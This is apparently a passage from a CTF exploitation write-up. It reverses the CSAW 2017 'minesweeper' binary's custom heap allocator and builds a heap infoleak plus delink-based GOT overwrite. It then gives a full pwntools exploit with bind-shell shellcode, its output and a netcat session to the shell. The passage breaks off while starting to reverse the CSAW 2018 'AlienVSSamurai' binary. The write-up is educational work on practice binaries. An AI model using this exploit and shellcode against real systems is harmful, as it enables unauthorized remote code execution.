0xffffcf8c│+0x001c: 0x00000004
────────────────────────────────────────────────────────── code:x86:32 ────
   0xf7fd3933 <__kernel_vsyscall+3> mov    ebp, ecx
   0xf7fd3935 <__kernel_vsyscall+5> syscall
   0xf7fd3937 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd3939 <__kernel_vsyscall+9> pop    ebp
   0xf7fd393a <__kernel_vsyscall+10> pop    edx
   0xf7fd393b <__kernel_vsyscall+11> pop    ecx
   0xf7fd393c <__kernel_vsyscall+12> ret
   0xf7fd393d                  nop
   0xf7fd393e                  nop
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "minesweeper", stopped, reason: SIGINT
──────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7fd3939 → __kernel_vsyscall()
```

```
[#1] 0xf7ed7dfd → recv()
[#2] 0x8049a59 → add esp, 0x10
[#3] 0x80494c8 → add esp, 0x10
[#4] 0x80496b0 → add esp, 0x10
[#5] 0x8049b75 → add esp, 0x10
[#6] 0x8049d96 → add esp, 0x10
[#7] 0xf7df5751 → __libc_start_main()
[#8] 0x8048801 → hlt
──────────────────────────────────────────────────────────────────
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x0804b000 0x00000000 r-x /Hackery/pod/modules/custom_misc_heap
/csaw17_minesweeper/minesweeper
0x0804b000 0x0804c000 0x00002000 rwx /Hackery/pod/modules/custom_misc_heap
/csaw17_minesweeper/minesweeper
0x0804c000 0x0804d000 0x00000000 rwx [heap]
0xf7dd7000 0xf7fb0000 0x00000000 r-x /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb0000 0xf7fb1000 0x001d9000 --- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb1000 0xf7fb3000 0x001d9000 r-x /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb3000 0xf7fb5000 0x001db000 rwx /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb5000 0xf7fb7000 0x00000000 rwx
0xf7fce000 0xf7fd0000 0x00000000 rwx
0xf7fd0000 0xf7fd3000 0x00000000 r-- [vvar]
0xf7fd3000 0xf7fd4000 0x00000000 r-x [vdso]
0xf7fd4000 0xf7ffb000 0x00000000 r-x /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 0x00027000 r-x /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 0x00028000 rwx /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
```

We can see here that the heap's memory permission is `rwx`, meaning that we can write code to it and execute it (this will come in handy later). Lastly we take a look at `newGame`, we see this:

```
void newGame(undefined4 parm0,undefined5 *parm1,int parm2,int parm3)

{
  undefined4 *puVar1;
  int __fd;
  ssize_t bytesRead;
  uint randVal;
  int iVar2;
  uint seed;
  undefined4 local_61;
  undefined4 uStack76;
  undefined4 input;
  undefined4 local_44;
  undefined4 local_40;
  undefined4 local_3c;
  int local_38;
  int local_34;
  int bytesRead1;
  int randomFile;
  uint i;
  int local_20;
  uint j;
  int arg3;
  int arg2;
  undefined5 *arg1;

  input = 0;
  local_44 = 0;
  local_40 = 0;
  local_3c = 0;
  local_61 = 0;
  uStack76 = 0;
  puVar1 = (undefined4 *)0x0;
  do {
    *(undefined4 *)((int)&local_61 + 1 + (int)puVar1) = 0;
    puVar1 = puVar1 + 1;
  } while (puVar1 < (undefined4 *)((int)&input - ((int)&local_61 + 1)));
  if (parm1 == (undefined5 *)0x0) {
    __fd = open("/dev/random",0);
    if (__fd == -1) {
      perror("Opening /dev/random failed!");
    }
    bytesRead = read(__fd,&seed,4);
    if (bytesRead < 1) {
      perror("Error reading /dev/random");
    }
    srand(seed);
    i = 0;
    while (i < 0x19) {
      *(undefined *)((int)&local_61 + i) = 0x4f;
      i = i + 1;
    }
```

```
    randVal = rand();
    *(undefined *)((int)&local_61 + randVal % 0x19) = 0x58;
    arg1 = &local_61;
    arg2 = 5;
    arg3 = 5;
  }
  else {
    arg1 = parm1;
    arg2 = parm2;
    arg3 = parm3;
  }
  print(parm0,
        "Welcome. The board has been initialized to have a random *mine*placed
in the midst. Yourjob is to uncover it. You can:\n1) View Board (V)\n2) Uncover
a location (U X Y). Zeroindexed.\n3) Quit game (Q)\n"
       );
  while (bytesRead1 = customScan(parm0,&input,0x10), bytesRead1 != -1) {
    j = 0;
    while ((j < 0x10 &&
           ((*(char *)((int)&input + j) == ' ' || (*(char *)((int)&input + j) ==
'\0'))))) {
      j = j + 1;
    }
    if (j == 0x10) {
      print(parm0,"Please enter a valid command! V, U, or Q\n");
    }
    else {
      switch(*(undefined *)((int)&input + j)) {
      case 0x51:
      case 0x71:
        goto LAB_08049050;
      default:
        print(parm0,"Please enter a valid command!\n");
        break;
      case 0x55:
      case 0x75:
        j = j + 1;
        if (j == 0x10) {
          print(parm0,"Not enough arguments to uncover. U X Y\n");
        }
        else {
          while ((j < 0x10 &&
                 ((*(char *)((int)&input + j) == ' ' || (*(char *)((int)&input +
j) == '\0'))))) {
            j = j + 1;
          }
          if (j == 0x10) {
            print(parm0,"Not enough arguments to uncover. U X Y\n");
          }
          else {
            local_20 = 0;
            while ((((__fd = local_20, j < 0x10 && (*(char *)((int)&input + j)
!= ' ')) &&
```

```
                  (*(char *)((int)&input + j) != '\0')) &&
                 ((-1 < (int)*(char *)((int)&input + j) + -0x30 &&
                  ((int)*(char *)((int)&input + j) + -0x30 < 10))))) {
            local_20 = (int)*(char *)((int)&input + j) + -0x30 + local_20 *
10;
            j = j + 1;
          }
          if (j == 0x10) {
            print(parm0,"Not enough arguments to uncover. U X Y\n");
          }
          else {
            while ((j < 0x10 &&
                   ((*(char *)((int)&input + j) == ' ' || (*(char
*)((int)&input + j) == '\0')))))
            {
              j = j + 1;
            }
            local_34 = local_20;
            local_20 = 0;
            while ((((j < 0x10 && (*(char *)((int)&input + j) != ' ')) &&
                    (*(char *)((int)&input + j) != '\0')) &&
                   ((-1 < (int)*(char *)((int)&input + j) + -0x30 &&
                    ((int)*(char *)((int)&input + j) + -0x30 < 10))))) {
              local_20 = (int)*(char *)((int)&input + j) + -0x30 + local_20 *
10;
              j = j + 1;
            }
            local_38 = local_20;
            if (local_20 < arg3) {
              if (__fd < arg2) {
                __fd = __fd + local_20 * arg2;
                if (*(char *)((int)arg1 + __fd) == 'X') {
                  print(parm0,"Mine found!\n");
                  printMaybe?(parm0,arg1,arg2,arg3);
                  return;
                }
                *(undefined *)((int)arg1 + __fd) = 0x55;
                if ((__fd / arg2 != 0) && (__fd - arg2 != -1)) {
                  if (__fd / arg2 == 0) {
                    iVar2 = -1;
                  }
                  else {
                    iVar2 = __fd - arg2;
                  }
                  if (*(char *)((int)arg1 + iVar2) == 'X') {
                    print(parm0,"Mine found!\n");
                    printMaybe?(parm0,arg1,arg2,arg3);
                    return;
                  }
                  if (__fd / arg2 == 0) {
                    iVar2 = -1;
                  }
                  else {
```

```
      iVar2 = __fd - arg2;
    }
    *(undefined *)((int)arg1 + iVar2) = 0x55;
  }
  if ((__fd / arg2 + 1 != arg3) && (arg2 + __fd != -1)) {
    if (__fd / arg2 + 1 == arg3) {
      iVar2 = -1;
    }
    else {
      iVar2 = arg2 + __fd;
    }
    if (*(char *)((int)arg1 + iVar2) == 'X') {
      print(parm0,"Mine found!\n");
      printMaybe?(parm0,arg1,arg2,arg3);
      return;
    }
    if (__fd / arg2 + 1 == arg3) {
      iVar2 = -1;
    }
    else {
      iVar2 = arg2 + __fd;
    }
    *(undefined *)((int)arg1 + iVar2) = 0x55;
  }
  if ((((__fd + 1) % arg2 != 0) && (__fd != -2)) {
    if ((__fd + 1) % arg2 == 0) {
      iVar2 = -1;
    }
    else {
      iVar2 = __fd + 1;
    }
    if (*(char *)((int)arg1 + iVar2) == 'X') {
      print(parm0,"Mine found!\n");
      printMaybe?(parm0,arg1,arg2,arg3);
      return;
    }
    if ((__fd + 1) % arg2 == 0) {
      iVar2 = -1;
    }
    else {
      iVar2 = __fd + 1;
    }
    *(undefined *)((int)arg1 + iVar2) = 0x55;
  }
  if ((__fd % arg2 != 0) && (__fd != 0)) {
    if (__fd % arg2 == 0) {
      iVar2 = -1;
    }
    else {
      iVar2 = __fd + -1;
    }
    if (*(char *)((int)arg1 + iVar2) == 'X') {
      print(parm0,"Mine found!\n");
```

```
                    printMaybe?(parm0,arg1,arg2,arg3);
                    return;
                  }
                  if (__fd % arg2 == 0) {
                    __fd = -1;
                  }
                  else {
                    __fd = __fd + -1;
                  }
                  *(undefined *)((int)arg1 + __fd) = 0x55;
                }
              }
              else {
                print(parm0,"X parameter is out of range\n");
              }
            }
            else {
              print(parm0,"Y parameter is out of range!\n");
            }
          }
        }
      }
      break;
    case 0x56:
    case 0x76:
      printMaybe?(parm0,arg1,arg2,arg3);
    }
  }
}
print(parm0,"Goodbye!\n");
LAB_08049050:
  return;
}
```

The main thing from this we are going to need is this:

```
    case 0x56:
    case 0x76:
      printMaybe?(parm0,arg1,arg2,arg3);
```

It will allow us to print the data a board that we initialize. We will use this for an infoleak later.

Custom Malloc

Let's take a look at the custom malloc:

```
ushort * customMalloc(int size)

{
  uint realSize;
  ushort *chunk;
  ushort *maybeChunk;

  chunk = (ushort *)0x0;
  realSize = (size + 0xbU) / 0xc + 1;
  if (x == (ushort *)0x0) {
    x = &y;
    y = 0;
    z = &y;
    v = &y;
  }
  maybeChunk = *(ushort **)(x + 2);
  do {
    if (maybeChunk == x) {
LAB_0804991f:
      if ((chunk == (ushort *)0x0) || ((uint)*chunk != realSize)) {
        if (chunk == (ushort *)0x0) {
          chunk = (ushort *)sbrk(0x1000);
          if (chunk == (ushort *)0xffffffff) {
            return (ushort *)0xffffffff;
          }
          *chunk = 0x155;
        }
        if ((chunk == (ushort *)0x0) || ((uint)*chunk <= realSize)) {
          chunk = (ushort *)0xffffffff;
        }
        else {
          chunk[realSize * 6] = *chunk - (ushort)realSize;
          *chunk = (ushort)realSize;
          if ((*(int *)(chunk + 2) != 0) && (*(int *)(chunk + 4) != 0)) {
            delink((int)chunk);
          }
          linkMaybe(chunk + realSize * 6);
          chunk = chunk + 6;
        }
      }
      else {
        delink((int)chunk);
        chunk = chunk + 6;
      }
      return chunk;
    }
    if (realSize <= (uint)*maybeChunk) {
      chunk = maybeChunk;
      goto LAB_0804991f;
    }
    maybeChunk = *(ushort **)(maybeChunk + 2);
  } while( true );
```

```
}
```

Let's take a look at the custom free:

```
void customFree(int ptr)

{
  linkMaybe((ushort *)(ptr + -0xc));
  return;
}
```

Now let's take a look at the linking functionality:

```
void linkMaybe(ushort *ptr)

{
  ushort *ptr1;

  if (*(ushort **)(x + 2) == x) {
    *(ushort **)(ptr + 4) = x;
    *(ushort **)(ptr + 2) = x;
    *(ushort **)(x + 4) = ptr;
    *(ushort **)(x + 2) = ptr;
  }
  else {
    ptr1 = *(ushort **)(x + 2);
    while ((*ptr1 < *ptr && (ptr1 != x))) {
      ptr1 = *(ushort **)(ptr1 + 2);
    }
    *(ushort **)(ptr + 2) = ptr1;
    *(undefined4 *)(ptr + 4) = *(undefined4 *)(ptr1 + 4);
    *(ushort **)(*(int *)(ptr1 + 4) + 4) = ptr;
    *(ushort **)(ptr1 + 4) = ptr;
  }
  return;
}
```

Then finally let's take a look at the delinking functionality:

```
void delink(int ptr)

{
  undefined4 uVar1;

  uVar1 = *(undefined4 *)(ptr + 4);
  *(undefined4 *)(*(int *)(ptr + 4) + 8) = *(undefined4 *)(ptr + 8);
  *(undefined4 *)(*(int *)(ptr + 8) + 4) = uVar1;
  fwrite("delinked!",1,9,stderr);
  return;
}
```

So we can see how this custom heap is implemented. It allocates a chunk of memory using `sbrk`, and then uses the space for the heap. We can see that there is a binning mechanism for reusing freed chunks. However first let's look at the structure of a chunk for this custom heap:

```
0x0:    Size Parameter
0x4:    Fwd Pointer
0x8:    Bk Pointer
0xc:    Chunk Content
```

Also one thing, the size parameter isn't the value passed as an argument to the custom malloc, rather a value generated by running that through a function. When a chunk is freed, it is entered into a circular doubly linked list. A pointer to the head of the linked list is stored in the bss variable `x` at `0x804bdc4`. The `size`, `fwd`, and `bk` pointers are stored in the bss variables `y`, `z`, and `v` at bss address `0x804bdc8/0x804bdcc/0x804bdd0`:

```
gef➤  x/w 0x804bdc4
0x804bdc4:    0x804bdc8
gef➤  x/3w 0x804bdc8
0x804bdc8:    0x0    0x804c018    0x804c414
gef➤  x/3w 0x804c018
0x804c018:    0x55    0x804c414    0x804bdc8
gef➤  x/3w 0x804c414
0x804c414:    0xfe    0x804bdc8    0x804c018
gef➤  x/3w 0x804bdc8
0x804bdc8:    0x0    0x804c018    0x804c414
```

Also one last thing, when a function is delinked from the linked list, pointers are written to it's `fwd/bk` chunks to point to the other, to fill in the gap in the circle. We will use that later.

Exploitation

So we have a somewhat large heap overflow. This is the plan. First we will leverage that and the ability to view a board for a heap infoleak. Proceeding that we will leverage the heap overflow to overwrite the `fwd` and `bk` pointers for a chunk in the doubly circular linked list for the binning mechanism of the custom heap. We will then have the chunk delinked, in which case since we control both pointers we will get a write what where. We will use that to do a `got` overwrite `fwrite` (since it is the first libc function called after the delink). We will then redirect code flow execution to our shellcode on the heap.

Also how I solved this challenged in terms of grooming the heap right included a bit of trial and error.

Heap Infoleak

For this, I just did a little trial and error until I got a board that would leak the information. I ended up going with a `3 x 4` bug with this type of memory layout:

```
gef➤  x/20w 0x0980700c
0x980700c:    0x31313158    0x31313131    0x31313131    0x12
0x980701c:    0x98070f0    0x804bdc8    0x5f5f5f5f    0x5f5f5f5f
0x980702c:    0x5f5f5f5f    0x63203c0a    0x6173776f    0x333c2079
0x980703c:    0x6e696d20    0x65777365    0x72657065    0x200a3e20
0x980704c:    0x2d2d2d2d    0x2d2d2d2d    0x2d2d2d2d    0x20202020
```

The specific leak I used was `0x98070f0` at `0x980701c`. With that we know the address space of both the heap and the binary (remember PIE isn't enabled).

Delink Attack

So this next part will be similar to an unsafe unlink. For this we will need to control the `fwd` and `bk` pointers of a chunk that is freed. Also something to note, by default none of our initialized chunks are freed, only the chunks that standard text is copied to. After trying to initialize boards of various sizes, we see something interesting. Looking at the linked list, we see that we got what we need. This is with a board size of `14 x 14` with some `2 x 2` board before it:

```
gef➤  x/3w 0x804bdc8
0x804bdc8:    0x0    0x97291f8    0x9729810
gef➤  x/3w 0x97291f8
0x97291f8:    0x28290002    0x9729210    0x804bdc8
gef➤  x/3w 0x9729210
0x9729210:    0x20200007    0x97290f0    0x97291f8
gef➤  x/3w 0x97290f0
0x97290f0:    0x30303030    0x30303030    0x30303030
```

We see that we were able to overwrite the `fwd` and `bk` pointers of a chunk, and this chunk is delinked later so it will suit our needs. Now it's just what pointers to write. Let's take another look at the delink code:

```c
void delink(int ptr)

{
  undefined4 uVar1;

  uVar1 = *(undefined4 *)(ptr + 4);
  *(undefined4 *)(*(int *)(ptr + 4) + 8) = *(undefined4 *)(ptr + 8);
  *(undefined4 *)(*(int *)(ptr + 8) + 4) = uVar1;
  fwrite("delinked!",1,9,stderr);
  return;
}
```

So we can see that our `bk` pointer is written to the address pointed to by `fwd+8`, and that our `fwd` pointer is written to the address pointed to by `bk+4`. I set the `fwd` pointer equal to the got address of `fwrite` minus `0x8`, and the `bk` pointer equal to a little bit after the start of the heap chunk we used to overwrite these pointers (the start of our shellcode). Now with how this is set up, it will write a got address four bytes after the start of our shellcode. To combat this, I just added three nops and an extra instruction to effectively make the got pointer not do anything that would affect us, and immediately after it our shellcode will run.

Also one more thing I wanted to mention in another writeup but just forgot, there exists a stack pointer in the libc as part of the `environ` struct that points to environment variables.

Exploit

Putting it all together, we have the following exploit:

```python
from pwn import *

# Establish the server
server = process("minesweeper")
#gdb.attach(server, gdbscript = 'set follow-fork-mode child\nb *0x8048b7c')

# Establish remote connection to contact server as a client
target = remote("127.0.0.1", 31337)

# Establish the binary
elf = ELF("minesweeper")

# Establish interface functions
def recvMenu():
    print target.recvuntil("3) Q (Quit)\n")

def recvGame():
    print target.recvuntil("3) Quit game (Q)")

def initializeGame(x, y, content):
    recvMenu()
    target.sendline("I")
    print target.recvuntil("format: B X Y\n")
    target.sendline("B " + str(x) + " " + str(y))
    print target.recvuntil("character X\n")
    target.send(content)

def newGame():
    recvMenu()
    target.sendline("N")

def uncoverPiece(x, y):
    recvGame()
    target.sendline("U " + str(x) + " " + str(y))

def viewBoard(recv = None):
    if recv == None:
        raw_input()
    else:
        recvGame()
    target.sendline("V")

def quitGame(recv = None):
    if recv == None:
        raw_input()
    else:
        recvGame()
    target.sendline("Q")

# Make a board to get heap infoleak
initializeGame(3, 4, "X" + "1"*(19))
```

```
newGame()# I/O is a little weird
newGame()

# Get and parse out the infoleak, find base of heap
viewBoard(1)

print target.recvuntil("X11\n")
leak = target.recv(30)
leak = leak.strip("\n")
leak = u32(leak[17:19] + leak[20:22])
heapBase = leak - 0xf0

print "Heap Base: " + hex(heapBase)

quitGame()

# SO a little heap grooming
initializeGame(2, 2, "X" + "0"*(8))
newGame()

initializeGame(2, 2, "X" + "0"*(8))
newGame()

initializeGame(2, 2, "X" + "0"*(8))
newGame()



payload = ""
payload += "0"*0x20
# Some extra instructions to deal with the got address written 0x4 bytes after
the start of our shellcode
payload += "\x90"*3 + "\x50" + "\x90"*8

# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-
836.php
payload += "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x5b
\x5e\x52\x66\x68\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1\xcd\x80\x89\x51\x04\xb0
\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8
\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\xcd\x80"
payload += "0"*(183 - len(payload))
payload += p32(elf.got["fwrite"] - 8) # fwd pointer
payload += p32(heapBase + 0x5d) # bk pointer
payload += "2"*33

# Send the payload
initializeGame(14, 14, "X" + payload)

target.interactive()
```

When we run it:

```
$    python exploit.py
[!] Could not find executable 'minesweeper' in $PATH, using './minesweeper'
instead
[+] Starting local process './minesweeper': pid 11660
[+] Opening connection to 127.0.0.1 on port 31337: Done
[*] '/Hackery/pod/modules/custom_misc_heap/csaw17_minesweeper/minesweeper'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Please enter in the dimensions of the board you would like to set in this
format: B X Y

HI THERE!!
  +----------------------------+----------------------------+
  |      __________________    |                            |
  |  ==c(______(o(______(_()   | |''''''''''''|======[***   |
  |             )=\            | |  EXPLOIT   \             |
  |            / \             | |_____________\_______     |
  |           /   \            | |==[--- >]============\    |
  |          /     \           | |______________________\   |
  |         / RECON \          | \(@)(@)(@)(@)(@)(@)(@)/    |
  |        /         \         |  *********************     |
  +----------------------------+----------------------------+

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"""" /|\`.""''.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X

____________
< cowsay <3 minesweeper >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *
```

```
Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Invalid option, please try again N, I, or Q please!

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Welcome. The board has been initialized to have a random *mine*placed in the
midst. Your job is to uncover it. You can:
1) View Board (V)
2) Uncover a location (U X Y). Zero indexed.
3) Quit game (Q)

X11

Heap Base: 0x815c000


-
---
---
---

<
cow
say
 <3

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Please enter in the dimensions of the board you would like to set in this
format: B X Y

HI THERE!!
_\x10  +---------------------------+----------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |''''''''''''|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            / \            | |_____________\_______    |
  |           /   \           | |==[--- >]============\   |
  |          /     \          | |______________________\  |
  |         / RECON \         | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        /         \        |  *********************    |
  +---------------------------+---------------------------+

IIIIII    dTb.dTb        _.---._
```

```
  II     4'  v  'B   .""""" /|\`.""""".
  II     6.      .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X

____________
< cowsay <3 minesweeper >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Invalid option, please try again N, I, or Q please!

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Please enter in the dimensions of the board you would like to set in this
format: B X Y

HI THERE!!
 \x0b  +----------------------------+----------------------------+
  |      __________________   |                            |
  |  ==c(______(o(______(_()  | |''''''''''''|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            / \            | |_____________\_______    |
  |           /   \           | |==[--- >]============\   |
  |          /     \          | |______________________\  |
  |         / RECON \         | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        /         \        |  *********************    |
  +----------------------------+----------------------------+

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .""""" /|\`.""""".
  II     6.      .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
```

```
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X

------------
< cowsay <3 minesweeper >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Invalid option, please try again N, I, or Q please!

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Please enter in the dimensions of the board you would like to set in this
format: B X Y

HI THERE!!
)      +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |''''''''''''|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            / \            | |____________\_______     |
  |           /   \           | |==[--- >]============\   |
  |          /     \          | |______________________\  |
  |         / RECON \         | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        /         \        |  *********************    |
  +---------------------------+---------------------------+

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   ."""" /|\`."""".
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X

------------
< cowsay <3 minesweeper >
 ------------
       \   ,__,
```

```
        \  (oo)____
           (__)    )\
              ||--|| *

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Invalid option, please try again N, I, or Q please!

Hi. Welcome to Minesweeper. Please select an option:
1) N (New Game)
2) Initialize Game(I)
3) Q (Quit)

Please enter in the dimensions of the board you would like to set in this
format: B X Y

HI THERE!!
/\x07  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |''''''''''''|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            / \            | |_____________\_______    |
  |           /   \           | |==[--- >]============\   |
  |          /     \          | |______________________\  |
  |         / RECON \         | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        /         \        |  *********************    |
  +---------------------------+---------------------------+

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'
-msf
Please send the string used to initialize the board. Please send X * Y bytes
follow by a newlineHave atleast 1 mine placed in your board, marked by the
character X

[*] Switching to interactive mode
```

Because we are attacking a server, I just had my shellcode bind a shell to port `11111` which we can connect to:

```
$    nc 127.0.0.1 11111
w
 03:51:43 up  9:56,  1 user,  load average: 0.19, 0.11, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               17:56   ?xdm?  10:05   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
ls
back.py
core
exploit.py
heapLeak.py
jmp.asm
jmp.o
minesweeper
notes
readme.md
```

Just like that, we popped a shell!

Csaw 2018 AlienVSSamurai

Let's take a look at the binary and libc:

```
$    ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
    crypt add-on version 2.1 by Michael Glad and others
    GNU Libidn by Simon Josefsson
    Native POSIX Threads Library by Ulrich Drepper et al
    BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    file aliensVSsamurais
aliensVSsamurais: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=226c2e3531a2eb42de6f75a31e307146d23f990e, not stripped
$    pwn checksec aliensVSsamurais
[*] '/Hackery/pod/modules/custom_misc_heap/csaw18_alienVSsamurai
/aliensVSsamurais'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./aliensVSsamurais
Daimyo, nani o shitaidesu ka?
3
Brood mother, what tasks do we have today.
4
Aliens have taken over the world.....
```

So we are dealing with a `64` bit binary, with the `libc-2.23.so` libc. The binary has a Stack Canary, NX, and PIE (but no relro). When we run the binary we are first prompted with a samurai menu, then an alien menu, and then aliens take over the world.

Reversing

When we take a look at the main function, we see this:

```
undefined8 main(void)

{
  dojo();
  saved_malloc_hook = __malloc_hook;
  saved_free_hook = __free_hook;
  hatchery();
  invasion();
  return 0;
}
```

So we can see it calls three functions, `dojo`, `hatchery`, and `invasion`. After it calls `dojo`, it saves the hooks for malloc and free (which will cause us problems later). Looking at `dojo`, we see that it is a menue with three options.

```
void dojo(void)

{
  ulong task;
  long in_FS_OFFSET;
  char taskInput [24];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  while( true ) {
    while( true ) {
      puts("Daimyo, nani o shitaidesu ka?");
      fgets(taskInput,0x18,stdin);
      task = strtoul(taskInput,(char **)0x0,0);
      if (task != 2) break;
      seppuku();
    }
    if (task == 3) break;
    if (task == 1) {
      new_samurai();
    }
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

We see that option `1` will allow us to allocate a new samurai (essentially allocating a chunk), option `2` will allow us to kill a samurai (essentially freeing the chunk), and option `3` is to move on to the next menu. I didn't find any bugs in these sub functions, or really anything too interesting (plus aliens are cooler, you can guess who I played in Alien VS Predator). So next up we have `hatchery`:

```
void hatchery(void)

{
  ulong task;
  long in_FS_OFFSET;
  char taskInput [24];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  do {
    while( true ) {
      while( true ) {
        while( true ) {
          puts("Brood mother, what tasks do we have today.");
          fgets(taskInput,0x18,stdin);
          task = strtoul(taskInput,(char **)0x0,0);
          if (task != 2) break;
          consume_alien();
        }
        if (2 < task) break;
        if (task == 1) {
          new_alien();
        }
      }
      if (task != 3) break;
      rename_alien();
    }
  } while (task != 4);
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So with this menu, we can make aliens (`1`), kill aliens (`2`), and rename aliens (`3`). Looking at `new_alien` we see this:

```
void new_alien(void)

{
  ulong nameSize;
  void **alienPtr;
  void *namePtr;
  ssize_t bytesRead;
  long in_FS_OFFSET;
  char nameSizeInput [24];
  long canary;
  long canaryValue;
  long index;

  canaryValue = *(long *)(in_FS_OFFSET + 0x28);
  if (alien_index < 200) {
    if (__malloc_hook == saved_malloc_hook) {
      puts("How long is my name?");
      fgets(nameSizeInput,0x18,stdin);
      nameSize = strtoul(nameSizeInput,(char **)0x0,0);
      if (nameSize < 8) {
        puts("Too short!");
      }
      else {
        alienPtr = (void **)malloc(0x10);
        alienPtr[1] = (void *)0x100;
        namePtr = malloc(nameSize);
        *alienPtr = namePtr;
        puts("What is my name?");
        bytesRead = read(0,*alienPtr,nameSize);
        *(undefined *)((long)(int)bytesRead + (long)*alienPtr) = 0;
        index = alien_index * 8;
